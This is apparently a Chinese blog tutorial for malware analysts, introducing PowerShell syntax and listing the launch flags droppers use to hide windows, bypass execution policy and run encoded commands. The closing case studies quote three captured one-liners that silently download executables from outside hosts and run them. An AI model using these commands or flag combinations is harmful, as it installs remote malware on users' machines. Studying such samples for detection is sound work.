脚本病毒分析扫描专题2-Powershell代码阅读扫盲

4.2、PowerShell

为了保障木马样本的体积很小利于传播。攻击者会借助宏->WMI->Powershell的方式下载可执行文件恶意代码。最近也经常会遇见利用Powershell通过Windows自带的组件执行系统命令绕过UAC下载文件手法的文章。

  • UAC:用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。

  • PowerShell:Windows PowerShell是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的对象,在病毒样本传播与渗透测试场景中用于下载第二阶段的病毒文件和执行文件。
  • 4.2.1 Powershell代码阅读扫盲

(1) 环境介绍
  • 开发工具

开发工具可以使用自带的Windows PowerShell ISE。

PowerShell的运行后缀为.ps1,也可以通过交互式运行。

:Windows下PowerShell默认的权限级别是Restricted,如果在Restricted权限运行PowerShell会提示错误信息:

  • 代码调试

自带的编译器常用快捷键:F9下断点、F5执行、F10单步执行


PS C:\WINDOWS\system32> xx.ps1
有关详细信息,请参阅 https:/go.microsoft.com/fwlink/?LinkID=135170 中的 about_Execution_Policies。
    + CategoryInfo          : SecurityError: (:) [],ParentContainsErrorRecordException
    + FullyQualifiedErrorId : UnauthorizedAccess

解决方案

将执行权限修改为RemoteSigned或者Unrestricted:


Set-ExecutionPolicy RemoteSigned
(2) Powershell启动命令参数
  • EncodedCommand

使用此参数向PowerShell传递base64编码字符串并运行。

变种使用方法:

方式1:"-enc"
方法2:"-Enc"
方法3:"-EncodedCommand"
方法4:"-encodedcommand"
方法5:"-encodedCommand"
方法6:"-ec"
方法7:"-en"
方法8:"-ENC"
  • WindowStyle Hidden

使用此参数避免PowerShell执行时显示运行窗口。其中“-window hidden”方法使用最多主要与前文提到的Cerber勒索软件有关。

变种使用方法:

方式1 :"-window hidden"
方法2 :"-W Hidden"
方法3 :"-w hidden"
方法4 :"-windowstyle hidden"
方法5 :"-win hidden"
方法6 :"-WindowStyle Hidden"
方法7 :"-win Hidden"
方法8 :"-wind hidden"
方法9 :"-WindowStyle hidden"
方法10:"-WindowStyle hiddeN"
方法11:"-windows hidden"
方法12:"-WindowStyle hiddeN"
方法13:"-windows hidden"
方法14:"-Win Hidden"
方法15:"-win hid"
方法16:"-Windows hidden"
方法17:"-Wind Hidden"
方法18:"-Win hidden"
  • NonInteractive

使用此参数避免显示一个交互对话窗口。此方法与WindowStyle隐藏方法配合使用以隐藏执行痕迹。

其中使用“-noni”的变种中76%是通用型的shellcode注入代码或SET工具,而使用“-NonI”的变种主要是PowerShell Empire工具。

变种使用方法:

方式1 :"-noni"
方法2 :"-Nonl"
方法3 :"-noninteractive"
方法4 :"-Nonlnteractive"
方法5 :"-nonl"
  • NoProfile

使用此参数阻止PowerShell在开机时加载配置文件脚本,以避免载入非预期的命令或设置。与非交互方式类似,“-nop”方法主要由SET和通用型shellcode注入变种采用,而“-NoP”方法主要由PowerShell Empire使用。

变种使用方法:

方式1 :"-nop"
方法2 :"-NoP"
方法3 :"-noprofile"
方法4 :"-NoProfile"
方法5 :"-noP"
  • ExecutionPolicy ByPass

使用此参数绕过默认的PowerShell脚本执行策略(即受限策略),可以执行任何代码。有趣的是,使用EncodedCommand参数执行的代码不受执行策略影响。

变种使用方法:

方式1:    "-ep bypass"
方式2:    "-exec bypass"
方式3:    "-executionpolicy bypass"
方式4:    "-Exec Bypass"
方式5:    "-ExecutionPolicy ByPass"
方式6:    "-Exec ByPass"
方式7:    "-ExecutionPolicy Bypass"
方式8:    "-ExecuTionPolicy ByPasS"
方式9:    "-exe byPass"
方式10:   "-ep Bypass"
方式11:   "-ExecutionPolicy BypasS"
方式12:   "-Exe ByPass"
  • Sta

使用单线程模式(现在是PowerShell 3.0的默认模式)。此参数基本上是PowerShell Empire在使用。

变种使用方法:

方法1:"-sta"
  • NoExit

使用此参数阻止PowerShell在运行启动命令后退出。这是PowerWorm恶意软件除EncodedCommand参数外使用的唯一参数。
变种使用方法:

方法1:"-noexit"
  • ExecutionPolicy Hidden

这实际上不是一个有效的参数,因此PowerShell会忽略该参数。使用该参数的每个样本我都标记为与“TXT C2”脚本有关,该脚本试图加载一个包含另一段PowerShell脚本的DNS TXT记录,与PowerWorm类似。可能攻击者本来想使用的是ByPass参数,因为他们的后续命令中使用了“-w hidden”参数。

变种使用方法:

方法1:"-ep hidden"
  • NoLogo

避免PowerShell启动时显示版权信息。

变种使用方法:

方式1:    "-Nol"
方式2:    "-NoL"
方式3:    "-nologo"
方式4:    "-nol"
  • ExecutionPolicy Unrestricted

与ByPass类似,但会在运行从Internet下载的未签名脚本前警告用户。使用此参数的脚本在试图执行从Internet下载的脚本时会触发警告信息。

变种使用方法:

方式1:    "-ExecutionPolicy Unrestricted"
  • Command

利用该参数可以执行参数后面的命令,就如同直接在PowerShell提示符下输入命令一样。我只捕捉到一个样本,它直接附加到某个恶意软件中,该恶意软件在FireEye发布的一篇关于绕过基于签名的检测方法的博文中提到过。该PowerShell脚本包含在一个DOCM文件的“Comments“域中,通过Word文档的宏加载执行。以下是该样本的恶意PowerShell代码片段,通过将多条命令组合在一起,可以实现FTP传输和NetCat建连目的。

变种使用方法:

方式1:    "-c"

常见组合示例代码:

方式1:    "-window hidden -enc"
方式2:    "-enc"
方式3:    "-nop -noni -enc"
方式4:    "-NoP -sta -Nonl -W Hidden -Enc"
方式5:    "-EncodedCommand"
方式6:    "-ep bypass -noni -W Hidden -Enc"
方式7:    "-Nop -Nonl -W Hidden -Enc"
方式8:    "-nop -win hidden -noni -enc"
方式9:    "-executionpolicy bypass -windowstyle hidden -enc"
方式10:   "-nop -exec bypass -win Hidden -noni -enc"

测试下载本地计算器示例代码:

1)下载文件:在捕获到的样本中最常用的办法就是使用.net框架下的System.Net.WevClient类的DownloadFile()方法来下载文件。
2)运行文件:运行计算机上的可执行文件或文档,例如.exe或.txt文件。

示例代码:01-PowerShell基本语句.ps1

# 1、下载文件

pOWErsHell.ExE -exEcUTIonPOLICy BYpAsS -nOprOFile -winDOWStyLE HiDden (NEW-objeCt SYSTeM.Net.weBCLIEnT).DOWNloaDfIlE('file://C:\Windows\System32\calc.exe','D:\powershell_calc.EXE');

# 1.1 拆分代码

$client = new-object System.Net.WebClient
$client.DownloadFile(‘file://C:\Windows\System32\calc.exe’, ‘D:\powershell_calc.EXE’)


# 2、运行文件

sTArt-PrOCeSS 'D:\powershell_calc.EXE'
(3) 交互式SHELL

与Office Macor的不同,Powershell有许多内置的交互式Shell命令。

    • 01 获取帮助命令
Get-Help
    • 02 查找实现指定任务的命令
Get-Command 

Get-command pwd  # 查看pwd对应的Powershell命令
  
Get-command ls   # 查看ls对应的Powershell命令  

Get-command cd   # 查看cd对应的Powershell命令
    • 03 将管道输出的结果保存到文件中

通过Out-File命令或者重定向>>操作符将输出结果保存到文件中。


Get-Command  | Out-File D:\unicodefile.txt
    • 04 获取进程信息

Get-Process
    • 05 环境变量

dir ENV:                # 查看所有环境变量
$ENV:COMPUTERNAME       # 查看计算机名
    • 06 获取历史命令

Get-History
  • 07 向文件的结尾处加入信息

Get-Process >> D:\files.txt

Get-Process | Out-File -Append D:\files.txt

"Hello zzzhhh" >> D:\files.txt
(4) 变量

初始化变量的方式,是在变量后加入$+变量名,其次是除了花括号字符{}和冒号(:),还可以把包含空格、特殊符号包含在花括号中作为变量使用。

Powershell的变量可以存储一些命令的输出,因为所有变量都是对象,所以变量都带有一些方法。

变量示例代码1:


## 普通写法

$result = Get-Process  # 将进程信息存储到$result

$result

$Loc = Get-Location #定义变量Loc,得到当前路径

$Loc                #输出当前路径

## 花括号写法

${Hello Computer Name} = "I 'am string"

${Hello Computer Name}  # 输出变量内容

变量方法和属性示例代码2:

PowerShell变量有一些内置的方法和属性,可以很方便对字符串操作。

以及获取用户主目录、脚本相关的内置变量

示例代码:

### 字符串长度

${Hello Computer Name}.Length

### 字符串大小写

${Hello Computer Name}.ToUpper()

## 内置变量

### 获取当前执行脚本的目录路径

$PSScriptRoot

### 获取用户主目录的路径

$HOME
(5) 逻辑表达式

计算、逻辑、比较运算符
+=, −=, ×=, ÷=, %=, ++, −−, = 将一个或者多个值赋给一个变量

-and,-or,-not,-xor,! 连接表达式/声明

-eq, -ne 相等, 不等

-gt, -ge 大于, 大于或等于

-lt, -le 小于, 小于或等于

-replace 替换字符

-match,-notmatch 正则表达式匹配

-like,-notlike 通配符匹配

示例代码:

# + - * / ++

${3+7} = 3+7               
${3+7}
${'a'+'b'} = 'a'+'b'        # 字符串相加
${'2'+3} = '2'+3            # 字符加数字
${5-2} = 5 - 2 
${4*3} = 4 * 3
${7/2} = 7/2
${7%2} = 7%2
${3+7}++                    # 自增符号


# 输出结果

${3+7}                      # 自增的结果
${'a'+'b'}
${'2'+3}
${5-2}
${4*3}
(6) 条件语句
  • if、elseif和else语句
$a = 89
$b = 90

if($a -gt $b)      
{
   echo "$a 大于 $b"

}
elseif($a -eq $b)
{
   echo "$a 等于 $b"
}
elseif($a -lt $b)
{
 echo "$a 小于 $b"
}
(7) 选择分支

将If-ElseIF-Else转换成Switch语句

switch(expression)
{
    value1 { first set of stantements}
    value2 { second set of stantements}
    default{ final set of stantements}
}

示例代码:

$a = {1,2,3,4,5}
$b = 2
$c = 3

switch($b)
{
    1 {"Beijing"}
    2 {"Shanghai"}
    3 {"Tianjin"}
    4 {"Chongqing"}
    default {"default"}
}
(8) 循环结构
  • While

while循环中的表达式如果为True,在完成了该语句之后,PowerShell回到顶部再次计算表达式。具有如下形式:

while(expression)
{
    statement(s)
}
  • do...while和do...until

do循环与while循环类似,只不过它在循环的末尾执行测试,语句statement总是至少执行一次。如果表达式为True的话,循环继续。PowerShell中有两种do循环的方式。

do...while重复该循环,如果表达式为False的话,循环退出。

do...until重复该循环,如果表达式为True的话,循环退出。

do循环语句的两种形式如下:

形式1:
do{
    statement(s)
    ...
}while(expression)

形式2:
do{
    statement(s)
}until(expression)
  • for

for循环取自C和C++编程语言,该语句的形式是:

for(初始化;条件;增量){
    statement(声明)
}
  • foreach

foreach循环可以依次查看一个数组、一个散列表或者一个其他集合对象中的每一项。该语句有两种形式,第一种形式每次通过statement(s)语句的时候,指定的遍历拥有集合中的一项的值。形式如下:

foreach($veriable in collection){
    statement(s)
}
(9) 数组

Powershell允许一个变量保存多个独立的值。

示例代码:

# 数值数组

$powers = 8,4,2,1

# 字符串数组

$name = '小Z','小J','小H','小D'

# PowerShell还允许使用圆括号并使用一个可选的@符号来输入值的列表

$name1 = @('BOSS','ZZZHHH','Antiy','Python')
 
# 访问数组 访问单独的项,数组索引从0开始

$name[0]
$name[1]
$name[2]
$name[3]
(10) 字符串操作
  • 字符串分割 split
string1 -split string2

说明:

string1 字符串

string2 分割符

示例代码:

$string2 = "192.168.14.20,192.168.14.21,192.168.14.22,192.168.14.23"

$string2 -split "," # ,号过滤出IP
  • 字符串替换replace
string -replace pattern,replacement

说明:

pattern是一个正则表达式。

raplacement匹配的文本

示例代码:

注意:反转义

前面说过pattern是一个正则表达式,加上\就是反转义代表不要用正则表达式匹配字符。

([Regex]::Escape("字符串")):使用此方法可以直接不规避正则表达式解析而去做一个替换。

示例代码:

$string = "Hello C++" 

$string -replace "c\+\+","World"   # 输出 $string的值为 Hello World

$string -replace ([Regex]::Escape("C++")),"Powershell Program"
(11)文件操作

当使用PowerShell来遍历文件、文件夹甚至注册表的时候,将会遇到几种基本的对象类型。主要的对象是System.IO.Directory和System.IO.FileInfo,它们分别表示文件夹和文件。

  • 查看一个文件是否存在

要查看一个文件是否存在,可以创建一个System.IO.FileInfo对象,并测其Exists属性。如下面的示例:

$fobj = new-object System.IO.FileInfo "C:\temp\testfile.txt"
if ($fobj.Exists){'the file does exist'}
  • 从文件读取文本

使用.NET System.IO.FileStream对象从文件读取二进制数据。示例代码:

# 从文件读取文本
$fobj = get-item "D:\filename.txt"
# $fobj = get-item "D:\20171111-test_bin2hex.txt"
$strm = $fobj.OpenText()           # 打开文件
$n = 0
while(!$strm.EndOfStream){        
    $txt = $strm.ReadLine()        # 读取文件
    $n++
    "$n : $txt"

}
$strm.Dispose()                    # 关闭文件
    • 使用cmdlet来做同样的事情
# 使用Get-Content执行读取文本操作
$n = 0
#Get-Content "D:\filename.txt"
Get-Content "D:\20171111-test.txt" | foreach { $n++;"$n ; $_"}
  • 向文件写入文本

可以使用重定向>运算符,将cmdlet输出重定向到一个文件。想要更为精确地构造一个文件。将文本写入到一个文件的模式如下:

# 向文件写入文本

$fobj =  New-Object System.IO.FileInfo "D:\testfilename.txt"
$strm =  $fobj.CreateText()
$strm.WriteLine("this is the first line")
for($i=1;$i -le 10; $i++)
{
    $i
    $strm.Write("$i ")
}
$strm.WriteLine()
$strm.Dispose()
(12) 命令行参数

$args返回所有的参数

传递给一个函数或者一个脚本的参数都保存在$args变量中。

示例代码:

# 参数传值,返回所有参数

Write-Host "Hello,$args"

# PS C:\WINDOWS\system32> .11_命令行参数.ps1  "C++" "Powershell"

# 访问数组参数

For($i=0;$i -lt $args.Count; $i++)
{
    Write-Host "parameter $i : $($args[$i])"
}
(13) 函数

定义函数形式如下:

function simple(){
    return 1
}

函数参数:Powershell中用户定义的函数,可以给定参数值。

function simple(arg1,arg2){
    return 1
}

调用形式:simple abc def

其中abc、def是对simple函数两个参数的调用。

函数传参数

在函数的语句块中放置一条param语句作为其第一条语句。从而给函数所使用的参数指定名称。

param(类型声明$参数名=可选值)

示例代码:

# 函数定义

function simple(){
    return 1
}

## 调用函数
simple

# 带参数的函数

function printmsg
{
    param([int]$level=1 ,$message)
    Write-Output $level,$message
}

## 带参调用函数
printmsg 4 'this is the message'

# param语句
function printparam
{
   param([string]$level=1,[string]$message)
   Write-Output  $level,$message
}

## param指定参数
printparam -message 'this is the message' -level 10

4.2.2、使用.NET API常用对象

  • 操作字符串

[System.String]类拥有操作字符串的静态方法。

  • 操作日期和时间

[System.DataTime]对象存储日期和时间并对其执行计算。

  • 转换值

[System.Conver]对象允许将值从一种数值格式转换为另一种数值格式。

  • 数学函数

[System.Math]对象拥有大量的静态函数,可以使用它们执行计算。

4.2.3、案例分析

(1)案例1-普通下载
第一个:

powershell -WindowStyle Hidden $wscript = new-object -ComObject WScript.Shell;$webclient = new-object System.Net.WebClient;$random = new-object random;$urls = 'http://commercset.pl/file/jet.jkl'.Split(',');$name = $random.next(1, 65536);$path = $env:temp + '\' + $name + '.exe';foreach($url in $urls){try{$webclient.DownloadFile($url.ToString(), $path);Start-Process $path;break;}catch{write-host $_.Exception.Message;}}


第二个:

pOWErsHell.ExE -exEcUTIonPOLICy BYpAsS -nOprOFile -winDOWStyLE HiDden (NEW-objeCt SYSTeM.Net.weBCLIEnT).DOWNloaDfIlE('http://b.reich.io/dvltdc.exe','C:\Users\UserPII_791ce421809b22355905f0e9df666c58e5309959\AppData\Roaming.EXE');sTArt-PrOCeSS 'C:\Users\UserPII_791ce421809b22355905f0e9df666c58e5309959\AppData\Roaming.Exe'

第三个:

powErsheLL.EXe -WindowSTYlE HIDdeN -NoPrOfIle -EXeCuTionPOlicy bypaSS (NEW-ObjECt SySTEm.Net.WEbCLIent).DOwNLOadFiLe('http://182.255.5.201/~bemkmund/two/files/fresh/whe.exe','C:\Users\办票间~1\AppData\Local\Temp\\doce.exe')
posted @ 2018-04-03 16:14 17bdw 阅读(...) 评论(...) 编辑 收藏